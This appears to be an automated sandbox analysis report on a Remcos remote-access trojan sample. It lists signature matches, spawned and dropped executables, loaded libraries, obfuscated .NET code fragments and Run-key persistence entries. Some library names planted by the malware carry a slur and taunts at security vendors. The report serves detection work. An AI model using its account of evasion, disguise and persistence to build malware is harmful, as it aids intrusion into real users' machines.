              Source: 00000004.00000002.2056568324.000000000DC80000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 00000004.00000002.2056568324.000000000DC80000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
              Source: 00000004.00000002.2056568324.000000000DC80000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: Process Memory Space: dzocgvabs.exe PID: 7884, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 0.2.pPLwX9wSrD.exe.cd0000.1.raw.unpack, MapAnalyzer.csCryptographic APIs: 'CreateDecryptor'
              Source: 0.2.pPLwX9wSrD.exe.cd0000.1.raw.unpack, ResponderElement.csCryptographic APIs: 'CreateDecryptor'
              Source: 0.2.pPLwX9wSrD.exe.cd0000.1.raw.unpack, ResponderElement.csCryptographic APIs: 'CreateDecryptor'
              Source: 3.3.csc.exe.894ece8.0.raw.unpack, H9dYhdNnGJ0iMLyBevQ.csCryptographic APIs: 'CreateDecryptor'
              Source: 3.3.csc.exe.894ece8.0.raw.unpack, H9dYhdNnGJ0iMLyBevQ.csCryptographic APIs: 'CreateDecryptor'
              Source: 3.3.csc.exe.894ece8.0.raw.unpack, H9dYhdNnGJ0iMLyBevQ.csCryptographic APIs: 'CreateDecryptor'
              Source: 3.3.csc.exe.894ece8.0.raw.unpack, H9dYhdNnGJ0iMLyBevQ.csCryptographic APIs: 'CreateDecryptor'
              Source: 3.3.csc.exe.8d239e8.7.raw.unpack, ITaskFolder.csTask registration methods: 'RegisterTaskDefinition', 'RegisterTask'
              Source: 3.3.csc.exe.8d239e8.7.raw.unpack, TaskFolder.csTask registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'
              Source: 3.3.csc.exe.8d239e8.7.raw.unpack, Task.csTask registration methods: 'RegisterChanges', 'CreateTask'
              Source: 3.3.csc.exe.8d239e8.7.raw.unpack, TaskService.csTask registration methods: 'CreateFromToken'
              Source: 3.3.csc.exe.8cd39c8.2.raw.unpack, ITaskFolder.csTask registration methods: 'RegisterTaskDefinition', 'RegisterTask'
              Source: 3.3.csc.exe.8cd39c8.2.raw.unpack, TaskFolder.csTask registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'
              Source: 3.3.csc.exe.8cd39c8.2.raw.unpack, User.csSecurity API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
              Source: 3.3.csc.exe.8cd39c8.2.raw.unpack, TaskFolder.csSecurity API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
              Source: 3.3.csc.exe.8d239e8.7.raw.unpack, User.csSecurity API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
              Source: 3.3.csc.exe.8d239e8.7.raw.unpack, TaskFolder.csSecurity API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
              Source: 3.3.csc.exe.8cd39c8.2.raw.unpack, TaskSecurity.csSecurity API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
              Source: 3.3.csc.exe.8cd39c8.2.raw.unpack, TaskSecurity.csSecurity API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
              Source: 3.3.csc.exe.8d239e8.7.raw.unpack, TaskSecurity.csSecurity API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
              Source: 3.3.csc.exe.8d239e8.7.raw.unpack, TaskSecurity.csSecurity API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
              Source: 3.3.csc.exe.8d239e8.7.raw.unpack, Task.csSecurity API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
              Source: 3.3.csc.exe.8cd39c8.2.raw.unpack, TaskPrincipal.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
              Source: 3.3.csc.exe.8d239e8.7.raw.unpack, TaskPrincipal.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
              Source: 3.3.csc.exe.8cd39c8.2.raw.unpack, Task.csSecurity API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
              Source: classification engineClassification label: mal100.troj.spyw.expl.evad.winEXE@6/5@5/4
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeCode function: CreateServiceA,CloseServiceHandle,0_2_0046DE70
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeCode function: 0_2_004A143E FindResourceA,LoadResource,LockResource,FreeResource,0_2_004A143E
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeCode function: 0_2_0046DF40 LockServiceDatabase,OpenServiceA,ChangeServiceConfigA,ChangeServiceConfig2A,CloseServiceHandle,UnlockServiceDatabase,GetLastError,QueryServiceLockStatusA,QueryServiceLockStatusA,0_2_0046DF40
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeFile created: C:\Users\user\Videos\OrionLegacyJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeMutant created: NULL
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeMutant created: \Sessions\1\BaseNamedObjects\mono1234
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeFile created: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeJump to behavior
              Source: Yara matchFile source: 4.2.dzocgvabs.exe.f520000.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 3.3.csc.exe.8d239e8.7.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000004.00000002.2057015971.000000000F520000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000004.00000000.1792904857.0000000000401000.00000020.00000001.01000000.00000008.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000003.00000003.1794277108.0000000008D23000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: pPLwX9wSrD.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
              Source: pPLwX9wSrD.exeReversingLabs: Detection: 39%
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeFile read: C:\Users\user\Desktop\pPLwX9wSrD.exeJump to behavior
              Source: unknownProcess created: C:\Users\user\Desktop\pPLwX9wSrD.exe "C:\Users\user\Desktop\pPLwX9wSrD.exe"
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"
              Source: unknownProcess created: C:\Users\user\AppData\Local\Temp\dzocgvabs.exe C:\Users\user\AppData\Local\Temp\dzocgvabs.exe
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeProcess created: C:\Users\user\AppData\Local\Temp\dzocgvabs.exe "C:\Users\user\AppData\Local\Temp\dzocgvabs.exe"
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeProcess created: C:\Users\user\AppData\Local\Temp\dzocgvabs.exe "C:\Users\user\AppData\Local\Temp\dzocgvabs.exe"Jump to behavior
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeSection loaded: apphelp.dllJump to behavior
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeSection loaded: odbc32.dllJump to behavior
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeSection loaded: wsock32.dllJump to behavior
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeSection loaded: dpapi.dllJump to behavior
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeSection loaded: crowdstrikeceoisextragay.dllJump to behavior
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeSection loaded: sentinelisabadedrtrynexttimemaybe.dllJump to behavior
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeSection loaded: windows.storage.dllJump to behavior
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeSection loaded: wldp.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: mscoree.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: kernel.appcore.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: version.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: windows.storage.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: wldp.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: profapi.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: cryptsp.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: rsaenh.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: cryptbase.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: amsi.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: userenv.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: msasn1.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: gpapi.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: sspicli.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: mswsock.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: dnsapi.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: iphlpapi.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: rasadhlp.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: fwpuclnt.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: rasapi32.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: rasman.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: rtutils.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: winhttp.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: dhcpcsvc6.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: dhcpcsvc.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: winnsi.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: secur32.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: schannel.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: mskeyprotect.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: ntasn1.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: ncrypt.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: ncryptsslp.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: taskschd.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: sxs.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: xmllite.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeSection loaded: apphelp.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeSection loaded: icmp.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeSection loaded: version.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeSection loaded: wininet.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeSection loaded: winmm.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeSection loaded: wsock32.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeSection loaded: iphlpapi.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeSection loaded: crowdstrikeceoisextragay.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeSection loaded: sentinelisabadedrtrynexttimemaybe.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeSection loaded: windows.storage.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeSection loaded: wldp.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeSection loaded: winmm.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeSection loaded: urlmon.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeSection loaded: wininet.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeSection loaded: iertutil.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeSection loaded: srvcli.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeSection loaded: netutils.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeSection loaded: iphlpapi.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeSection loaded: sspicli.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeSection loaded: mswsock.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeSection loaded: dnsapi.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeSection loaded: rasadhlp.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeSection loaded: fwpuclnt.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeSection loaded: windows.storage.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeSection loaded: wldp.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeSection loaded: profapi.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeSection loaded: kernel.appcore.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeSection loaded: winhttp.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeSection loaded: winnsi.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dllJump to behavior
              Source: pPLwX9wSrD.exeStatic file information: File size 10485760 > 1048576
              Source: pPLwX9wSrD.exeStatic PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x219c00
              Source: pPLwX9wSrD.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
              Source: Binary string: D:\Rohan_SVN\Source\Server\RunRelease\DBServerT.pdb source: pPLwX9wSrD.exe
              Source: Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: csc.exe, 00000003.00000002.3258013197.000000000A390000.00000004.08000000.00040000.00000000.sdmp, csc.exe, 00000003.00000002.3256041816.0000000007918000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000003.1794277108.0000000008D23000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000003.1794277108.0000000008C65000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: Srlfeb.pdb source: csc.exe, 00000003.00000003.1794277108.0000000008B2E000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000002.3255208484.00000000071E0000.00000004.08000000.00040000.00000000.sdmp, csc.exe, 00000003.00000003.1794277108.000000000894C000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: csc.exe, 00000003.00000002.3258013197.000000000A390000.00000004.08000000.00040000.00000000.sdmp, csc.exe, 00000003.00000002.3256041816.0000000007918000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000003.1794277108.0000000008D23000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000003.1794277108.0000000008C65000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: protobuf-net.pdbSHA256}Lq source: csc.exe, 00000003.00000002.3257799079.0000000009DC0000.00000004.08000000.00040000.00000000.sdmp, csc.exe, 00000003.00000003.1794277108.0000000008B2E000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000003.1794277108.0000000008C65000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: protobuf-net.pdb source: csc.exe, 00000003.00000002.3257799079.0000000009DC0000.00000004.08000000.00040000.00000000.sdmp, csc.exe, 00000003.00000003.1794277108.0000000008B2E000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000003.1794277108.0000000008C65000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: D:\Rohan_SVN\Source\Server\RunRelease\DBServerT.pdbP2N source: pPLwX9wSrD.exe
              Source: Binary string: Srlfeb.pdbx source: csc.exe, 00000003.00000003.1794277108.0000000008B2E000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000002.3255208484.00000000071E0000.00000004.08000000.00040000.00000000.sdmp, csc.exe, 00000003.00000003.1794277108.000000000894C000.00000004.00000800.00020000.00000000.sdmp

              Data Obfuscation

              barindex
              .NET source code contains method to dynamically call methods (often used by packers)
              Source: 0.2.pPLwX9wSrD.exe.cd0000.1.raw.unpack, ResponderElement.cs.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
              Source: 3.3.csc.exe.894ece8.0.raw.unpack, H9dYhdNnGJ0iMLyBevQ.cs.Net Code: Type.GetTypeFromHandle(G7xv6UQryw9sD1SGpf2.VRcsQKwJNu(16777307)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(G7xv6UQryw9sD1SGpf2.VRcsQKwJNu(16777250)),Type.GetTypeFromHandle(G7xv6UQryw9sD1SGpf2.VRcsQKwJNu(16777305))})
              .NET source code contains potential unpacker
              Source: 0.2.pPLwX9wSrD.exe.cd0000.1.raw.unpack, MapAnalyzer.cs.Net Code: IncludeMap System.Reflection.Assembly.Load(byte[])
              Source: 3.2.csc.exe.9dc0000.5.raw.unpack, TypeModel.cs.Net Code: TryDeserializeList
              Source: 3.2.csc.exe.9dc0000.5.raw.unpack, ListDecorator.cs.Net Code: Read
              Source: 3.2.csc.exe.9dc0000.5.raw.unpack, TypeSerializer.cs.Net Code: CreateInstance
              Source: 3.2.csc.exe.9dc0000.5.raw.unpack, TypeSerializer.cs.Net Code: EmitCreateInstance
              Source: 3.2.csc.exe.9dc0000.5.raw.unpack, TypeSerializer.cs.Net Code: EmitCreateIfNull
              Source: 3.3.csc.exe.8d239e8.7.raw.unpack, ReflectionHelper.cs.Net Code: InvokeMethod
              Source: 3.3.csc.exe.8d239e8.7.raw.unpack, ReflectionHelper.cs.Net Code: InvokeMethod
              Source: 3.3.csc.exe.8d239e8.7.raw.unpack, XmlSerializationHelper.cs.Net Code: ReadObjectProperties
              Source: 3.3.csc.exe.8cd39c8.2.raw.unpack, ReflectionHelper.cs.Net Code: InvokeMethod
              Source: 3.3.csc.exe.8cd39c8.2.raw.unpack, ReflectionHelper.cs.Net Code: InvokeMethod
              Source: 3.3.csc.exe.8cd39c8.2.raw.unpack, XmlSerializationHelper.cs.Net Code: ReadObjectProperties
              Yara detected Costura Assembly Loader
              Source: Yara matchFile source: 3.2.csc.exe.9d60000.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 3.2.csc.exe.88d6ca8.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000003.00000002.3257754381.0000000009D60000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000003.00000002.3257338856.0000000008852000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000003.00000002.3256041816.00000000076B1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: csc.exe PID: 7716, type: MEMORYSTR
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"Jump to behavior
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeCode function: 0_2_0047F5D0 push eax; ret 0_2_0047F5E4
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeCode function: 0_2_0047F5D0 push eax; ret 0_2_0047F60C
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeCode function: 0_2_00484767 push ecx; ret 0_2_00484777
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeCode function: 0_2_00483E84 push eax; ret 0_2_00483EA2
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeCode function: 3_2_0746CF0A push eax; ret 3_2_0746CFF9
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeCode function: 3_2_0746CECE push ds; retf 3_2_0746CF09
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeCode function: 3_2_0746068B push 8B000001h; iretd 3_2_07460690
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeCode function: 3_2_0746BACF push cs; retf 3_2_0746BAD7
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeCode function: 3_2_07461801 pushfd ; retf 3_2_0746180D
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeCode function: 3_2_0747D606 push esi; retf 3_2_0747D5E5
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeCode function: 3_2_0747D606 pushad ; retf 3_2_0747D639
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeCode function: 3_2_0747D63D pushad ; retf 3_2_0747D639
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeCode function: 3_2_0747D5E2 push esi; retf 3_2_0747D5E5
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeCode function: 3_2_07470158 pushad ; iretd 3_2_07470159
              Source: 3.3.csc.exe.894ece8.0.raw.unpack, nVJXBHQlPK5MbsS3eA3.csHigh entropy of concatenated method names: 'BBcQRftNqD', 'd2TQqB3jnD', 'jnkQxcPWSg', 'C8qQ68cUX4', 'HmGQBW2KGL', 'laMQMe27VV', 'ho4Q5k8pLU', 'q2SQG9KEgk', 'TYpQhxCh2I', 'y4YQP4BKHw'
              Source: 3.3.csc.exe.894ece8.0.raw.unpack, H9dYhdNnGJ0iMLyBevQ.csHigh entropy of concatenated method names: 'OfbSv8rvP8IwIGTU9i5', 'OnVoiRrcqCKf9Oa5MKD', 'wCYQpIFDtr', 'vh0ry9Sq2v', 'knSQNj5fu2', 'hDnQXpIt5a', 's6NQQGkJ2u', 'uL3QCnlUTe', 'zAksN7Kboq', 'nEuN7jDDgS'
              Source: 3.3.csc.exe.894ece8.0.raw.unpack, h5gmjUDfwmEIIaJIRm.csHigh entropy of concatenated method names: 'qJXkK5FGP', 'y5n3tVyRy', 'mpsWotT5h', 'Q151kS8re', 'C5oHI4ky5', 'FE4TwCkUE', 'RsKB315Ts', 'Y3UjapZQ9', 'cTvE9yeC7', 'JuXRGSDIb'
              Source: 3.3.csc.exe.894ece8.0.raw.unpack, mD3UqCQfvhthrqY1XLA.csHigh entropy of concatenated method names: 'kZVmBcn3nH', 'c6mmMubrE1', 'rLcm5NIp7U', 'Cs1mG384O5', 'd5amh5XGlj', 'XjOmPwBtBp', 'y0amf6i8QU', 'L2LCL2ZT7K', 'qXwmUSxH1y', 'dCEm4raWXl'
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeFile created: C:\Users\user\Videos\OrionLegacy\Bin\OrionLegacyCLI.exeJump to dropped file
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeFile created: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeFile created: C:\Users\user\Favorites\HardDiskSentine\redist\HardDiskSentinelBin.exeJump to dropped file

              Boot Survival

              barindex
              Creates multiple autostart registry keys
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run OrionLegacyCLIJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run HardDiskSentineaJump to behavior
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run OrionLegacyCLIJump to behavior
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run OrionLegacyCLIJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run HardDiskSentineaJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run HardDiskSentineaJump to behavior
